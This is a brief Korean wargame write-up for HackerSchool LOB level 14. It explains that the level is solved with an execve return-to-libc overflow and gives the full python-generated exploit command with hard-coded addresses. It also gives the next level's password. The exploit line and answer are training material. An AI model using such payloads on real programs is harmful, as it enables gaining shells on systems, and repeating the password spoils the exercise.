Hacking/LOB(RedHat)
HackerSchool LOB Level 14
Hagler
2015. 8. 10. 20:30
코드를 해석해보자면
간단히말해서 execve함수를 사용해서 풀라는 뜻이다.
페이로드는 [non 44] [&execve] [non 4] [/bin/sh] [argv0] [nob]
./$"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"
비밀번호는 one step closer 이다